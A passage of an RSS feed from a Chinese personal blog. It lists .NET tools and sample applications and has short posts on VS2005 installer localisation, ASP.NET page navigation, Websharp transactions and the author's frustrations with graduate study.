color="#009999">http://www.nlog-project.org/</font></a><br /><br /><font color="#009999"><strong>ManagedSpy</strong><br />.net 平台下的Spy ++，支持通过.net 2.0开的Windows Forms应用程序。<br />链接：</font><a href="http://msdn.microsoft.com/msdnmag/issues/06/04/ManagedSpy/" target="_blank"><font color="#009999">http://msdn.microsoft.com/msdnmag/issues/06/04/ManagedSpy/</font></a><br /><br /><font color="#009999"><strong>Guidance Explore</strong><br />类似于一个.net平台编程问题简答的FAQ。不过提供的都是英文。<br />链接：</font><a href="http://www.codeplex.com/Wiki/View.aspx?ProjectName=guidanceExplorer" target="_blank"><font color="#009999">http://www.codeplex.com/Wiki/View.aspx?ProjectName=guidanceExplorer</font></a><br /><br /><font color="#009999"><strong>Terrarium</strong><br />一个.net开发的多人游戏。玩这个游戏可以提高编程能力。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>TaskVision</strong><br />任务管理系统，一个经典的Smart Client智能客户端程序。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>IssueVision</strong><br />事务管理系统，Smart Client智能客户端程序。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>FotoVision</strong><br />又一个值得学习的.net开发的Windows应用程序。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>Infragistics Tracker Application</strong><br />由Infragistics开发的Smart Client智能客户端程序。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>Windows Forms RSS Portal</strong><br />一个.net 开发的聚合器。<br />链接：</font><a href="http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49" target="_blank"><font color="#009999">http://www.windowsforms.net/Default.aspx?tabindex=4&amp;tabid=49</font></a><br /><br /><font color="#009999"><strong>Enterprise Library</strong><br />微软的企业库，对原早些时候开发的一些Block 模块进行整合提供企业统一的接口，新版本使用了.net 2.0的的许多功能。<br />链接：</font><a href="http://msdn.microsoft.com/practices/" target="_blank"><font color="#009999">http://msdn.microsoft.com/practices/</font></a><br /><br /><br /><font color="#009999"><strong>PetShop</strong><br />基于N-tier设计的电子商务网站，没什么好说的了。<br />链接：</font><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/bdasamppet4.asp" target="_blank"><font color="#009999">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/bdasamppet4.asp</font></a><br /><br /><font color="#009999"><strong>XmlNotepad</strong><br />一个用.net 开发的xml文件编辑器。<br />链接：</font><a href="http://www.microsoft.com/china/msdn/library/data/xml/xmlnotepad.mspx" target="_blank"><font color="#009999">http://www.microsoft.com/china/msdn/library/data/xml/xmlnotepad.mspx</font></a><br /><br /><font color="#009999"><strong>DockManager Control</strong><br />一个很不错的实现类似于VS 2005的界面某些功能的组件。<br />链接：</font><a href="http://www.codeproject.com/vb/net/DockPanelSkin.asp" target="_blank"><font color="#009999">http://www.codeproject.com/vb/net/DockPanelSkin.asp</font></a><br /><br /><font color="#009999"><strong>Starter Kits for Visual Web Developer</strong><br />该套件为学习研究应用asp.net2.0的开发人员提供许多宝贵资源，很不错。<br />链接：</font><a href="http://www.asp.net/downloads/starterkits/default.aspx?tabid=62" target="_blank"><font color="#009999">http://www.asp.net/downloads/starterkits/default.aspx?tabid=62</font></a></p>
</div>]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=125</link>
			<title><![CDATA[太气愤了]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[生活日志]]></category>
			<pubDate>Mon,09 Jun 2008 13:54:28 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=125</guid>	
		<description><![CDATA[<br/>老实说，&nbsp;这个研究生读得确实不值得，基本等于浪费<br/><br/>在南航一年学习的东西不是说不多，只是一来自己学得不怎么<br/><br/>在破研究所一年没有得到任何锻炼。。。<br/><br/>最近更让人气愤的是：<br/><br/>破老实竟然让我给他的鸟儿子写毕业论文<br/><br/>拼死拼活给他写好了，蛮以为没事儿了<br/><br/>不想过了几天，说论文里面引文没有标注<br/><br/>还让给做翻译<br/><br/>气愤+气愤的是<br/><br/>翻译的文章还得我自己去给找<br/><br/>呜呼！<br/><br/>有生以来碰上这样的老师，是何其的不幸啊！<br/><br/>哀哉！<br/><br/>堂堂XX大学的博士后，把自己的后代培养成这个样子，让人何其的心痛啊！！<br/><br/>呜呼，哀哉！！]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=123</link>
			<title><![CDATA[使用VS2005英文版制作中文版的安装向导]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Sat,16 Feb 2008 09:25:56 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=123</guid>	
		<description><![CDATA[使用VS2005英文版建立的安装部署项目，其提示语言默认是英文的，如何使制作出来的安装项目提示界面中的文字是中文的呢，其实很简单。<br/><br/>在建立完一个安装项目以后，使用记事本等文本编辑器软件打开&nbsp;&nbsp;XXXX.vdproj&nbsp;这个文件，只要将其中的<br/><br/>&#34;LanguageId&#34;&nbsp;=&nbsp;&#34;3:1033&#34;&nbsp;&nbsp;改成&nbsp;&#34;LanguageId&#34;&nbsp;=&nbsp;&#34;3:2052&#34;<br/>将<br/>&#34;CodePage&#34;&nbsp;=&nbsp;&#34;3:xxx&#34;&nbsp;改成&nbsp;&#34;CodePage&#34;&nbsp;=&nbsp;&#34;3:936&#34;&nbsp;<br/>以及将<br/>&#34;UILanguageId&#34;&nbsp;=&nbsp;&#34;3:1033&#34;&nbsp;改成&nbsp;&#34;UILanguageId&#34;&nbsp;=&nbsp;&#34;3:2052&#34;<br/><br/>然后再次使用VS2005打开安装部署项目，重新生成安装文件，运行一下，OK了。<br/><br/>注：1033是英文的语言代码，2052代表简体中文。]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=121</link>
			<title><![CDATA[使用pchelpware为你的客户提供远程协助]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Wed,19 Dec 2007 11:02:49 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=121</guid>	
		<description><![CDATA[使用pchelpware为你的客户提供远程协助]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=120</link>
			<title><![CDATA[Asp.net中如何返回之前的n个页面]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Wed,19 Dec 2007 10:15:03 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=120</guid>	
		<description><![CDATA[最近遇到这么一个问题：<br/><br/>在一个文档管理的项目中，有文档查询及结果显示界面，对查询出来的结果能够进行编辑，而且编辑页面是在与文档查询结果页面相同的窗口中打开的。&nbsp;客户提出一个需求，要求在对文档信息进行n次编辑以后能够返回到先前查询结果页面。<br/><br/>这个问题在使用asp、jsp或者php技术时都比较好实现，只要记住查询结果页面的相应参数，然后根据这些参数重新加载页面即可；但是大家知道,asp.net页面跟asp有很大的不同，asp.net采用PostBack回发数据给代码编写带来了很大的好处，但这也随之带来了相应的问题，比如查询结果有很多页，在使用asp技术时，一般都是将当前的页码附加在url后面作为get参数传回给服务端进行处理的，而在Asp.net中，&nbsp;页码参数并不直接附加在url之后，而是采用ViewState技术保存在客户端之后回发到服务器端的。<br/><br/>该问题的解决办法也不少，办法1是可以采用asp技术的做法，但个人感觉这会损失asp.net的便利性；办法2是可以从ViewState中取出相应参数并在代码中记住这些参数，当用户操作完成之后再返回相应页面进行重新查询显示；这里我介绍另外一种更简单的办法，使用javascript的history对象。<br/><br/>在编辑页面，我们可以使用以下一小段代码来记住页面的回发次数：<br/><br/>if(!IsPostBack)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;ViewState[&#34;iPostbackTimes&#34;]&nbsp;=&nbsp;1;<br/>}<br/>else<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;ViewState[&#34;iPostbackTimes&#34;]&nbsp;=&nbsp;Convert.ToString(Int32.Parse(ViewState[&#34;iPostbackTimes&#34;].ToString())&nbsp;+&nbsp;1);//&nbsp;记录回发次数<br/>}<br/><br/>在用户编辑完成之后通过以下代码在客户端输出一段js代码，返回到用户当初的查询结果页面即可：<br/>Response.Write(&#34;&lt;script&nbsp;language=\&#34;javascript\&#34;&gt;if(confirm(&#39;编辑文档成功！您还要继续编辑吗？&#39;)){}else{history.go(-&#34;&nbsp;+&nbsp;ViewState[&#34;iPostbackTimes&#34;].ToString()&nbsp;+&nbsp;&#34;);}&lt;/script&gt;&#34;);]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=119</link>
			<title><![CDATA[一个项目的投标过程原来这么辛苦！！！]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[生活日志]]></category>
			<pubDate>Tue,20 Nov 2007 21:56:25 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=119</guid>	
		<description><![CDATA[<br/><br/><br/>今天经历了才突然发现，原来想要接下来一个项目是多么的不容易！！<br/><br/><br/><br/>这两天真累。。。]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=118</link>
			<title><![CDATA[Websharp中的事务处理]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[ORM]]></category>
			<pubDate>Sun,21 Oct 2007 10:17:47 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=118</guid>	
		<description><![CDATA[<p>&nbsp;&nbsp;&nbsp; 一直在研究Websharp。</p>
<p>&nbsp;&nbsp;&nbsp; 但是Websharp目前的版本还不是很完善，对事务、多表查询的支持不够。</p>
<p>&nbsp;&nbsp;&nbsp; 另外目前仅支持OLE、MS Sql Server、Oracle三种数据库，还有待扩充。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; 今日闲来没事，为其增加了事务支持。不过使用的使用需要注意：</p>
<p>&nbsp;&nbsp;&nbsp; 因为系统默认自动在每次数据操作之后自动关闭数据库连接，因此若要使用事务，在新建业务对象之后一定要设置手动关闭数据库连接。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;</p>]]></description>
		</item>
		
</channel>
</rss>